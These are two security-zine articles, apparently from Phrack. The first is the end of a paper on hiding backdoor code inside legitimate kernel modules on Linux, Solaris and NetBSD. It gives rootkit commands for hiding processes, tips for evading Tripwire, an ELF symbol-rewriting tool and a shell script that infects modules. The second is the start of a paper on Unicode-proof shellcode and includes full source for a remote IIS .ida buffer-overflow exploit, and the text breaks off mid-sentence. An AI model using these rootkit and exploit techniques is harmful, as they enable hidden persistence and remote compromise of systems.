Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible

# ps
  PID TTY          TIME CMD
 2004 pts/3    00:00:00 bash
 2083 pts/3    00:00:00 ps
 
# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#     

Beautifull :) I've coded a little shell script (paragraph 9.2) which does
some part of the work for lazy people.


----[ 4.2 - I will survive (a reboot)

  When the module is loaded, we have two options that have pros and cons: 
  
  * Replace the real module located in /lib/modules/ by our infected one. 
    This will ensure us that our backdoor code will be reloaded after a 
    reboot. But, if we do that we can be detected by a HIDS (Host Intrusion
    Detection System) like Tripwire [7]. However, a kernel module is not 
    an executable nor a suid file, so it won't be detected unless the HIDS 
    is configured to be paranoid.

  * Let the real kernel module unchanged in /lib/modules and delete our
    infected module. Our module will be removed when rebooting, but it 
    won't be detected by a HIDS that looks for changed files.
  
  

--[ 5 - What about other systems ?
  
----[ 5.1 - Solaris

  I've used a basic kernel module from [8] to illustrate this example. 
Solaris kernel modules use 3 principal functions: 
  - _init will be called at module initialisation
  - _fini will be called at module cleanup
  - _info prints info about the module when issuing a modinfo
  
$ uname -srp
SunOS 5.7 sparc

$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
        &mod_miscops,
        "Real Loadable Kernel Module",
};

static struct modlinkage modlinkage = {
        MODREV_1,  
        (void *)&modlmisc,
        NULL
};

int _init(void)
{
        int i;
        if ((i = mod_install(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not install module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully installed");
        return i;
}

int _info(struct modinfo *modinfop)
{
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int i;
        if ((i = mod_remove(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not remove module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully removed");
        return i;
}

  
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod:            ELF 64-bit MSB relocatable SPARCV9 Version 1


  As we have seen in the Linux case, the code we are going to inject must
contains a call to the real init function to make the module keeps its 
regular behaviour. However, we are going to face a problem: if we modify 
the .strtab section after the link operation, the dynamic loader doesn't 
find the _dumm() function and the module can't be loaded. I've not 
invistigated a lot into this problem but i think that the dynamic loader
on Solaris doesn't looks for undefined symbols into the module itself.
However, this problem can be easily solved. If we change the real _init 
.strtab entry to _dumm before the link operation, everything works well. 


$ readelf -S mod
There are 10 section headers, starting at offset 0x940:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX       0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A       0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA       0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018           5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000           0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000           0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000           0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018           4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018           4     3     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

  
  The .strtab section starts at offset 0x4c8 and has a size of 64 bytes. 
We are going to use vi and xxd as an hex editor. Load the module into vi
with: vi mod. After that use :%!xxd to convert the module into hex values.
You will see something like this:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^

  We modify 4 bytes to replace _init by _dumm.

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
  We use :%!xxd -r to recover the module from hex values, then we save 
and exit :wq . After that we can verify that the replacement is 
successfull.

$ objdump -t mod

mod:     file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l     O .data  0000000000000040 modlinkage
0000000000000000 l     O .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g     F .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g     F .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g     F .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err


  The _init symbol has been replaced by _dumm. Now we can directly inject 
a function which name is _init without any problem.

$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}
            
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o

  The injecting part using ld:
  
$ ld -r -o evil mod inject

  Load the module:
  
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed


  The same operation can be carried out for the _fini function to inject
a complete module into another one.



----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm
FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko 
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1 
(FreeBSD), not stripped

  As we can see, FreeBSD kernel modules are shared objects.Thus, we can't 
use ld to link aditionnal code into the module. Furthermore, the mechanism
which is in use to load a module is completely different from the one used
on Linux or Solaris systems. You can have a look to it in
/usr/src/sys/kern/kern_linker.c . Any name can be used for the init/cleanup
function. At initialisation the loader finds the address of the init
function into a structure stored in the .data section. Then the .strtab
hack can't be used too.


------[ 5.2.2 - NetBSD

$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 
(SYSV), not stripped

  We can inject code into a NetBSD kernel module because it's a 
relocatable ELF object. When modload loads a kernel module it links it
with the kernel and execute the code placed at the entry point of the
module (located in the ELF header). 
  After the link operation we can change this entry point, but it is not
necessary because modload has a special option (-e) that allows to tell 
it which symbol to use for the entry point. 
  
  Here's the example module we are going to infect:
  
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int	gentil_lkmentry(struct lkm_table *, int, int);
int	gentil_lkmload(struct lkm_table *, int);
int	gentil_lkmunload(struct lkm_table *, int);
int	gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
	DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
	    gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Hello, world!\n");
	return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Goodbye, world!\n");
	return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: How you doin', world?\n");
	return (0);
}


  Here's the code that will be injected:
  
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int	gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
	switch(cmd) {
	case LKM_E_LOAD:
		printf("evil: in place\n");
		break;
	case LKM_E_UNLOAD:
		printf("evil: i'll be back!\n");
		break;
	case LKM_E_STAT:
		printf("evil: report in progress\n");
		break;
	default:
		printf("edit: unknown command\n");
		break;
	}

	return gentil_lkmentry(lkmt, cmd, ver);
}

  After compiling gentil and evil we link them together:
  
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat 
Type    Id   Offset Loadaddr Size Info     Rev Module Name
DEV       0  -1/108 d3ed3000 0004 d3ed3440   1 mmr
DEV       1  -1/180 d3fa6000 03e0 d4090100   1 nvidia
MISC      2       0 e45b9000 0004 e45b9254   1 gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!

  
  Ok, everything worked like a charm :)
          

------[ 5.2.3 - OpenBSD

  OpenBSD don't use ELF on x86 architectures, so the tech cannot be used.
I've not tested on platforms that use ELF but i think that it looks like
NetBSD, so the tech can certainly be applied. Tell me if you manage to do
it on OpenBSD ELF.



--[ 6 - Conclusion
  
  This paper has enlarged the number of techniques that allows to 
dissimulate code into the kernel. I have presented this technique because  
it is interesting to do it with very few and easy manipulations. 
  Have fun when playing with it :)



--[ 7 - Greetings

  I want to thanks mycroft, OUAH, aki and afrique for their comments and 
ideas. Also a big thanks to klem for teaching me reverse engineering.
  Thanks to FXKennedy for helping me with NetBSD.
  A big kiss to Carla for being wonderfull.
  And finally, thanks to all #root people, `spud, hotfyre, funka, jaia, 
climax, redoktober ...



--[ 8 - References


  [1] Weakening the Linux Kernel by Plaguez
      http://www.phrack.org/show.php?p=52&a=18
    
  [2] The Adore rootkit by stealth
      http://stealth.7350.org/rootkits/

  [3] Runtime kernel kmem patching by Silvio Cesare
      http://vx.netlux.org/lib/vsc07.html
    
  [4] Static Kernel Patching by jbtzhm
      http://www.phrack.org/show.php?p=60&a=8

  [5] Tool interface specification on ELF 
      http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

  [6] Modutils for 2.4.x kernels 
      ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

  [7] Tripwire
      http://www.tripwire.org
    
  [8] Solaris Loadable Kernel Modules by Plasmoid
      http://www.thc.org/papers/slkm-1.0.html
      
    

--[ 9 - Codes

----[ 9.1 - ElfStrChange

/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
                       Elf32_Shdr *shstrtable, char *res, size_t len);
                       
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
                       
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
                       Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }
    
  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }
    

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }
  
  
  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
  
  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");
  
  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
  
  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");
    
    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name, 
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }
  
  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), 
             SEEK_SET) == -1)
    FATAL ("fseek");
  
  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}
  

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, 
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
  
  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");
    
    ElfGetSectionName (fd, shdr->sh_name, &shstrtable, 
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh 
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      http://www.projet7.org                  - Security Researchs -
###########################################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm 
# if needed. 
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f

|=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ obscou <obscou@dr.com||wishkah@chek.com> ]=-------------=|



           
--[ Contents

  0 - The Unicode Standard

  1 - Introduction

  2 - Our Instructions set

  3 - Possibilities

  4 - The Strategy

  5 - Position of the code

  6 - Conclusion

  7 - Appendix : Code


--[ 0 - The Unicode Standard

While   exploiting   buffer   overflows,   we  sometime face a difficulty : 
character transformations. In fact, the exploited program may have modified
our buffer, by setting it to lower/upper case, or by getting rid of 
non-alphanumeric characters, thus stopping the attack as our shellcode 
usually can't run anymore. The transformation we are dealing here with is
the transformation of a C-type string (common zero terminated string) to a
Unicode string.


Here is a quick overview of what Unicode is (source : www.unicode.org)


	"What is Unicode?
	Unicode provides a unique number for every character,
	no matter what the platform,
	no matter what the program,
	no matter what the language."

		--- www.unicode.org

In fact, because Internet has become so popular, and because we all have
different languages and therefore different charaters, there is now a need
to have a standard so that computers can exchange data whatever the
program, platform, language, network etc...
Unicode is a 16-bits character set capable of encoding all known characters
and used as a worldwide character-encoding standard.

Today, Unicode is used by many industry leaders such as :

	Apple
	HP
	IBM
	Microsoft
	Oracle
	Sun
	and many others...

The Unicode standard is requiered by softwares like : 
(non exhaustive list, see unicode.org for full list)

Operating Systems :

	Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP 
	GNU/Linux with glibc 2.2.2 or newer - FAQ support 
	Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI 
	Compaq's Tru64 UNIX, Open VMS 
	IBM AIX, AS/400, OS/2 
	SCO UnixWare 7.1.0 
	Sun Solaris 

And of course, any software that runs under thoses systems...

http://www.unicode.org/charts/ : displays the Unicode table of caracters
It looks like this :

|   Range   |	Character set
|-----------|--------------------
| 0000-007F | Basic Latin
| 0080-00FF | Latin-1 Supplement
| 0100-017F | Latin Extended-A
|   [...]   |      [...]
| 0370-03FF | Greek and Coptic
|   [...]   |      [...]
| 0590-05FF | Hebrew
| 0600-06FF | Arabic
|   [...]   |      [...]
| 3040-309F | Japanese Hiragana
| 30A0-30FF | Japanese Katakana


.... and so on until everybody is happy !

Unicode 4.0 includes characters for :

 Basic Latin				Block Elements 
 Latin-1 Supplement  			Geometric Shapes 
 Latin Extended-A  			Miscellaneous Symbols 
 Latin Extended-B  			Dingbats 
 IPA Extensions  			Miscellaneous Math. Symbols-A 
 Spacing Modifier Letters  		Supplemental Arrows-A 
 Combining Diacritical Marks  		Braille Patterns 
 Greek  Supplemental 			Arrows-B 
 Cyrillic  Miscellaneous 		Mathematical Symbols-B 
 Cyrillic Supplement  			Supplemental Mathematical Operators
 Armenian  				CJK Radicals Supplement 
 Hebrew  				Kangxi Radicals 
 Arabic  				Ideographic Description Characters
 Syriac  				CJK Symbols and Punctuation 
 Thaana  				Hiragana 
 Devanagari  				Katakana 
 Bengali  				Bopomofo 
 Gurmukhi  				Hangul Compatibility Jamo 
 Gujarati  				Kanbun 
 Oriya  				Bopomofo Extended 
 Tamil  				Katakana Phonetic Extensions 
 Telugu  				Enclosed CJK Letters and Months 
 Kannada  				CJK Compatibility
 Malayalam  				CJK Unified Ideographs Extension A
 Sinhala  				Yijing Hexagram Symbols
 Thai  					CJK Unified Ideographs
 Lao  					Yi Syllables
 Tibetan  				Yi Radicals
 Myanmar  				Hangul Syllables
 Georgian 				High Surrogates
 Hangul Jamo  				Low Surrogates
 Ethiopic  				Private Use Area
 Cherokee  				CJK Compatibility Ideographs
 Unified Canadian Aboriginal Syllabic  	Alphabetic Presentation Forms
 Ogham  				Arabic Presentation Forms-A
 Runic  				Variation Selectors
 Tagalog 				Combining Half Marks
 Hanunoo  				CJK Compatibility Forms
 Buhid  				Small Form Variants
 Tagbanwa  				Arabic Presentation Forms-B
 Khmer  				Halfwidth and Fullwidth Forms
 Mongolian  				Specials
 Limbu  				Linear B Syllabary
 Tai Le  				Linear B Ideograms
 Khmer Symbols 				Aegean Numbers
 Phonetic Extensions  			Old Italic
 Latin Extended 			Additional  Gothic
 Greek Extended  			Deseret
 General Punctuation  			Shavian
 Superscripts and Subscripts 		Osmanya
 Currency Symbols  			Cypriot Syllabary
 Combining Marks for Symbols  		Byzantine Musical Symbols
 Letterlike Symbols  			Musical Symbols
 Number Forms  				Tai Xuan Jing Symbols
 Arrows  				Mathematical Alphanumeric Symbols
 Mathematical Operators  		CJK Unified Ideographs Extension B
 Miscellaneous Technical  		CJK Compatibility Ideographs Supp.
 Control Pictures  			Tags
 Optical Character Recognition  	Variation Selectors Supplement 
 Enclosed Alphanumerics  		Supplementary Private Use Area-A 
 Box Drawing  				Supplementary Private Use Area-B 

Yes it's impressive.


Microsoft says :

"Unicode is a worldwide character-encoding standard. Windows NT, Windows
2000, and Windows XP use it exclusively at the system level for character
and string manipulation. Unicode simplifies localization of software and
improves multilingual text processing. By implementing it in your
applications, you can enable the application with universal data exchange
capabilities for global marketing, using a single binary file for every
possible character code."
Wa have to notice that The Windows programming interface uses ANSI and
Unicode API's for each API, for example: 

The API : MessageBox (displays a msgbox of course)
Is exported by User32.dll with : 
		MessageBoxA	(ANSI)
		MessageBoxW	(Unicode)

MessageBoxA will accept a standard C-type string as an argument
MessageBoxW requieres Unicode strings as arguments.

According to Microsoft, internal use of strings is handled by the system
itself that ensures a transparent translation of strings between different
standards.
But if you want to use ANSI in a C program compiling under windows, you
just have to define UNICODE and every API will be replaced by its 'W'
version.
This sounds logical to me, let's get to the point now...



--[ 1 - Introduction



We will consider the following situation :

You send some data to a vulnerable server, and your data is considered as
ASCII (standard 8-bits character encoding), then your buffer is translated
into unicode for compatibility reasons, and then an overflow occurs with
your transformed buffer.

For example, such an input buffer :
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................

Would turn into :
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......

Then bang, overflow (yeah i know my example is stupid)

Under Win32 plateforms, a process usually starts at 00401000, this makes
it possible to smash EIP with a return address that looks like : 

                         ????:00??00??

So even with such a transformation, exploitation is still possible.
It will be a lot harder to get a working shellcode.
One possibility is to stuff the stack with untranformed data than contains
the same shellcode many times, then do the overflow with the tranformed
buffer, and make it return to one of your numerous shellcodes.
Here we assume that this was impossible because all buffers are unicode.
Needless to say that our assembly code won't go through this safely.
So we need to find a way to build a shellcode that resists to such a 
transformation. We need to find opcodes containing null bytes to build our
shellcode.

Here is an example, it is a bit old but it is an example of how we can
manage to get a shellcode executed even if our sent buffer is f**cked
(This exploit was working on my box, it runs against IIS www service) :


---------------- CUT HERE -------------------------------------------------

/* 
   IIS .IDA remote exploit


   formatted return address : 0x00530053
   IIS sticks our very large buffer at 0x0052....
   We jump to the buffer and get to the point
   

   by obscurer
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

void usage(char *a);
int wsa();

/* My Generic Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};

int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
	printf("Error : cannot initialize winsock\n");
	exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell) 
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index<strlen(argv[3]);index++)
shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, '\x41', 30000+size);

for(index=0;index<sizeof(shellcode);index++)
longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,'S',250);

sprintf(xploit,
        "GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
	retstring,
        longshell);


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
	printf("Error : Couldn't create a socket\n");
	return 0;
}


if ((inet_addr (argv[1]))==-1) 
    {
	host = gethostbyname (argv[1]);
    if (!host)
    {
		printf ("Error : Couldn't resolve host\n");
		return 0;
    }
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
       (unsigned long *)host->h_addr,
       sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
	printf("Error : Couldn't connect to host\n");
	return 0;
}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
	printf("Error : Couldn't send trough socket\n");
	return 0;
}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
	printf("Server crashed, if exploit didn't work,
				increase buffer size by 10000\n");
	exit(0);
}


printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;
}
---------------- CUT HERE -------------------------------------------------


In this example, the exploitation string had to be as follows :

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"

If [BUFFER] is big enough, EIP is smashed with what it contains.
But, i've noticed that [BUFFER] has been transformed into unicode when the
overflow occurs. But something interesting was that [ANY] was a clean
ASCII buffer, being mapped in memory at around : 00530000...
So i tried to set [BUFFER] to "SSSSSSSSSSSSS" (S = 0x53)
After the unicode transformation, it became : 

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...

The EIP was smashed with : 0x00530053, IIS returned on somewhere around
[ANY], where i had put a huge space of 0x41 = "A" (increments a register)
and then, at the end of [ANY], my shellcode.
And this worked. But if we have no clean buffer, we are unable to install
a shellcode somewhere in memory. We have to find another solution.




--[ 2 - Our Instructions set



We must keep in mind that we can't use absolute addresses for calls, jmp...
because we want our shellcode to be as portable as possible.
First, we have to know which opcodes can be used, and which can't be used
in order to find a strategy. As used in the Intel papers :

r32 refers to a 32 bits register (eax, esi, ebp...)
r8  refers to a  8 bits register (ah, bl, cl...)



     - UNCONDITIONAL JUMPS (JMP)

JMP's possible opcodes are EB and E9 for relative jumps, we can't use them
as they must be followed by a byte (00 would mean a jump to the next 
instruction which is fairly unuseful)

FF and EA are absolute jumps, these opcodes can't be followed by a 00,
except if we want to jump to a known address, which we won't do as this
would mean that our shellcode contains harcoded addresses.



     - CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

The syntaxe for far jumps can't be used as it needs 2 consecutives non null
bytes. the syntaxe for near jumps can't be used either because the opcode 
must be followed by the distance to jump to, which won't be 00. Also, 
JMP r32 is impossible.



     - LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)

Same problem : E0, or E1, or E2 are LOOP opcodes, they must me followed by
the number of bytes to cross...


     - REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)

All this is impossible to do because thoses intructions all begin with a
two bytes opcode.


     - CALLs 

Only the relative call can be usefull :
E8 ?? ?? ?? ??
In our case, we must have : 
E8 00 ?? 00 ??    (with each ?? != 00)
We can't use this as our call would be at least 01000000 bytes further...
Also, CALL r32 is impossible.


     - SET BYTE ON CONDITION (SETcc)

This instruction needs 2 non nul bytes. (SETA is 0F 97  for example).



Hu oh... This is harder as it may seem... We can't do any test... Because
